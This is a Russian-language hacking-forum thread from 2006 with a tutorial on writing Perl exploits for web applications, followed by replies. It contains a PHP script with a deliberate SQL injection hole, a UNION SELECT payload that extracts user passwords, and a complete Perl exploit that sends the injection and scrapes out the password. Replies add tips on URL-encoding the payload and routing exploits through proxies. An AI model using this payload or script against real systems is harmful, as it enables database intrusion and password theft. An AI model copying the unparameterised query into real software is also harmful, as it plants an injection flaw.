Статьи Написание эксплоита для Web в домашних условиях (часть 1-ая)

Discussion in 'Статьи' started by Goudini, 17 Nov 2006.

  1. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    Написание эксплоита для Web в домашних условиях (часть 1-ая)

    Как вы считаете, написание эксплоита для вэб-приложений – это сложная задача? Думаю, после прочтения этой статьи, вопросов у вас станет меньше.
    Статья будет разбита на части. В каждой из них будет рассказано о том или ином подходе при написании эксплоитов начиная с простых для однократной SQL-инъекции и заканчивая более сложным для Blind-SQL-инъекции. Для более простого понимания текста, все будет снабжено комментариями.

    Когда я только начинал писать эксплоиты, передо мной встал вопрос: какой язык выбрать для этих целей. Выбор был между знакомым мне php и старым добрым perl. И я остановил свой выбор именно на perl, хотя я знал его хуже, чем php, но этот язык изначально предназначался для системного программирования, в отличие от php, который все же лучше использовать для web-программирования.
    Для взаимодействия с протоколом http можно воспользоваться двумя модулями perl: IO::Socket и LWP::UserAgent. Каждый из них имеет свои достоинства и недостатки. Если вам интересно подробнее узнать о принципах работы этих модулей, я рекомендую вам прочитать статью "IO::Socket и LWP: http по нашему".
    В некоторых случаях бывает удобна комбинация этих модулей. При написании эксплоитов, мы будем использовать модуль IO::Socket для сценариев, отправляющих данные методом GET, а LWP::UserAgent – методом POST.
    Я надеюсь, что читатель имеет представление о программировании, поэтому принцип действия операторов if, for, while и др. я комментировать не буду. А вот остальные участки кода будут пояснены.

    Например:

    Code:
    #!/usr/bin/perl
    use IO::Socket; # подключаем модуль
    $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"localhost", PeerPort=>"80″); #создает сокет, который подключается к серверу localhost по протоколу tcp на порт 80
    print $sock "GET / HTTP/1.0\r\n"; # отправляет запрос на получение индексной страницы. Обратите внимание на символы новой строки: они обязательны.
    print $sock "Connection: close\r\n\r\n"; # закрываем соединение
    while ($answer = <$sock>) { print $answer; } # так мы сможем прочитать ответ от сервера
    close($sock); #закрываем сокет
    Code:
    #!/usr/bin/perl
    use LWP::UserAgent; #подключаем модуль
    $ua = LWP::UserAgent->new; #здесь мы можем задать настройки соединения. Если ничего не указано (как в данном случае), будут использованы настройки по умолчанию.
    my $req = HTTP::Request->new(POST=>"http://localhost/index.php"); # создаем запрос: куда будем посылать и каким методом.
    $req->content_type('application/x-www-form-urlencoded'); # тип того, что передаем
    $req->content("id=1″); # что передаем
    my $res = $ua->request($req); #
    $result = $res->content; # читаем ответ
    print $result."\r\n"; 
    Простая SQL-инъекция при использовании методов GET и POST.

    С основами сетевого программирования разобрались. Настал черед написать наш первый эксплоит. Экспериментировать мы будем на таком сценарии:

    Code:
    <?
    $user = 'root';
    $pass = '';
    $server = 'localhost';
    $db = 'hackme';
    echo "<html>
    <head>
    <title>HackMe</title>
    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">
    </head>
    <body>";
    if (isset($_GET['id']))
    {
    $id = $_GET['id'];
    mysql_connect($server,$user,$pass) or die("Failed to connect");
    mysql_select_db($db) or die("Failed to select db");
    $query = "SELECT name, email FROM users WHERE id='$id'";
    $result = mysql_query($query);
    if(mysql_num_rows($result)!='1')
    {
    echo "Такого пользователя в базе нет";
    }
    else
    {
    echo "<table width=\"100%\" border=\"0\"><tr>";
    $array = mysql_fetch_array($result);
    echo "<td>".$array['name']."</td>";
    echo "<td>".$array['email']."</td>";
    echo "</tr></table>";
    
    }
    }
    
    echo " Выберите id пользователя <br>[<a href=http://localhost/hackme.php?id=1>1</a>] || [<a href=http://localhost/hackme.php?id=2>2</a>]<br>[<a href=http://localhost/hackme.php>Home</a>]
    </body>
    </html>
    ";
    ?> 
    Ничего сложного: по параметру id, пришедшему от пользователя, происходит выбор записи из базы данных и вывод результата на экран. Данные передаются методом GET, т.е. мы можем влиять на них из адресной строки браузера. Пока серверу передаются данные так, как задумал программист, то все идет нормально:

    Code:
    Init DB hackme
    SELECT name, email FROM users WHERE id='1'
    Quit
    Result -> Admin [email protected]
    Code:
    Init DB hackme
    SELECT name, email FROM users WHERE id='2'
    Quit
    Result -> Hacker [email protected] 
    Если передать параметру id значение 5, то в ответ мы получим, что "Такого пользователя в базе нет". А что будет, если мы подставим в запрос кавычку?

    Code:
    Init DB hackme
    Query SELECT name, email FROM users WHERE id='5''
    Quit
    Result -> Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in D:\Server\www\hackme.php on line 24
    Такого пользователя в базе нет
    Так и есть: сценарий подвержен SQL-инъекции. Попробуем узнать версию сервера MySQL для планирования дальнейших действий.

    Code:
    Init DB hackme
    Query SELECT name, email FROM users WHERE id='1' and version()>4/*'
    Quit
    Result -> Admin [email protected] 
    Версия сервера базы данных явно больше 4, нам это и надо, чтобы в дальнейшем "склеить" запрос с помощью UNION, чтобы "вытянуть" из базы данных пароль пользователя.
    В принципе, нам совсем не обязательно писать для этих целей специальную программу, все можно сделать руками в строке браузера. Но для понимания основ написания эксплоитов мы напишем программку, которая сделает все за нас.
    Сперва мы составим скелет нашего эксплоита:

    Code:
    #!/usr/bin/perl
    use IO::Socket; # Подключаем библиотеку, с которой будем работать. Мы договорились, что для отправления данных методом GET будем использовать IO::Socket.
    if (@ARGV < 3) { &howto; } # Смотрим, сколько аргументов пришло с консоли. Если их количество меньше 3, то переходим к процедуре howto.
    # Читаем пришедшие от пользователя аргументы. Так как это массив, то для обращения к его элементам нужно указывать соответствующий индекс
    $server = $ARGV[0]; # Первый аргумент - сервер
    $path = $ARGV[1]; # Второй - путь
    $member_id = $ARGV[2]; # Третий – ID 
    
    $server =~ s!(http:\/\/)!!; # Регулярное выражение, которое вырезает из строки $server http://
    $request = 'http://'; # Создаем запрос. Сперва http://
    $request .= $server; # затем, справа приписываем сервер
    $request .= $path; # и директорию
    $port = "80"; # порт объявляем по умолчанию. Если вэб-сервер работает на другом порту, измените это значение.
    # Когда все данные получены, выведем пользователю информацию, которую он ввел
    print "Server : $server\r\n"; # Сервер
    print "Path : $path\r\n"; # Путь
    print "ID for search: $member_id\r\n"; # ID
    print "Searching password... Please, be patient"; # Ну и для приличия напишем, что процесс пошел
    
    sub howto() # Процедура howto, которая вызывается, если нет нужного количества аргументов, своеобразный хэлп
    {
    print q(
    SQL injection exploit
    Need MySQL > 4.0
    ==============================
    HowTo:
    
    w4g.pl [server] [/folder/] [member_id]
    
    where:
    
    [server] - host where script installed
    [/folder/] - folder where script installed
    [member_id] - user id for search
    
    e.g. w4g.pl 127.0.0.1 /dir/ 1
    ===============================
    coded by w4g.not_null
    
    );
    exit(); # Обязательно нужно выйти в процедуре, иначе наш экплоит начнет работу даже при отсутствии нужного количества аргументов.
    }
    "Скелет" готов. Теперь нужно сделаеть его "начинку".
    Будем считать, что мы знаем структуру таблицы:

    имя таблицы users

    Code:
    Поле Тип
    id int(11)
    name char(32)
    password char(32)
    email char(32)
    Не трудно составить запрос, который выведет нам пароль интересующего пользователя:

    Code:
    5' UNION SELECT name, password FROM users WHERE id='1'/*
    Комментарий (/*) добавлен на тот случай, если после уязвимого параметра есть еще какие-нибудь запросы. Нам они не нужны, поэтому мы их отбрасываем. Сервер MySQL нормально понимает незакрытый комментарий.
    Теперь подготовим наш запрос к отправке. Смотрим первую часть статьи и находим там, в примере, строчку, в которой происходит формирование запроса:

    Code:
    $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"80″);
    print $sock "GET $dir/hackme.php?id=5' UNION SELECT name, password FROM users WHERE id='$member_id'/* HTTP/1.0\r\n";
    print $sock "Connection: close\r\n\r\n"; 
    Готово. Следующим этапом нам нужно найти среди пришедшего результата нужные нам данные:

    Code:
    while ($answer = <$sock>) # Пока приходит ответ от сервера..
    {
    
    if($answer =~/<td>(.+?)<\/td><td>([0-9A-Z]+?)<\/td>/s) # и если в нем содержится строка, подходящая по шаблону…
    {
    print "\r\n[!] PASSWORD FIND =)\r\n"; # то пароль можно считать найденным
    print "[+] $1:$2″; # и вывести его.
    }
    }
    close($sock); #закрываем сокет
    Все, эксплоит готов. Теперь его можно опробовать.

    В следующих частях мы напишем эксплоиты для сценариев, работающих с уязвимыми параметрами, получаемыми методом POST.

    Автор: ©w4g.not null | Security Bunker Team™ | 2006
     
    3 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Неплохая статья ;)
    Вставлю свои 5 копеек :)

    1)GET / HTTP/1.0
    Connection: close

    последнее не обязательно согласно протоколу HTTP версии 1.0

    2) "GET $dir/hackme.php?id=5' UNION SELECT name, password FROM users WHERE id='$member_id'/* HTTP/1.0\r\n";
    Хм.. было бы кстати закодировать в urlencode() все это хозяйство, потому что если встретятся символ &, серверу это не понравится ;)

    3) кстати, было бы нелишним рассмотреть интересующий новичков вопрос - использование прокси в эксплоитах. хотя бы банально http-прокси с запросом GET http://site.com/

    Ну вроде все, что хотел сказать.
     
    #2 _Great_, 17 Nov 2006
    Last edited: 17 Nov 2006
  3. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    $proxy=''127.0.0.1:81;
    $browser->proxy('http', "http://$proxy" ) if $proxy;
    для lwp

    а для ио сокет, там просто соединяешься с проксиком, а в пакет суешь свой сайт
     
  4. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    начал читать - вспомнилось, что копирайты нуля вроде... в середине настойчивой чувство - ЧИТАЛ. дочитал - копирайты нуля :d
    и нужно было постить в чужие статьи ИМХО.
    ЗЫ откуда статья? фур стал добрее?!?!???
     
  5. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    Статью нашёл на компе, добавил в статьи, потому что этой статьи нет даже на сайте оригинала. Имеется продолжение даной темы...
     
  6. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Имхо это перевод папера "Writing exploits in Perl, HOW?" от Warpboy
     
  7. Robin_Hood

    Robin_Hood Elder - Старейшина

    Joined:
    30 Oct 2006
    Messages:
    144
    Likes Received:
    155
    Reputations:
    47
    http://hackzona.ru/hz.php?name=News&file=article&sid=6446
    тож линка в тему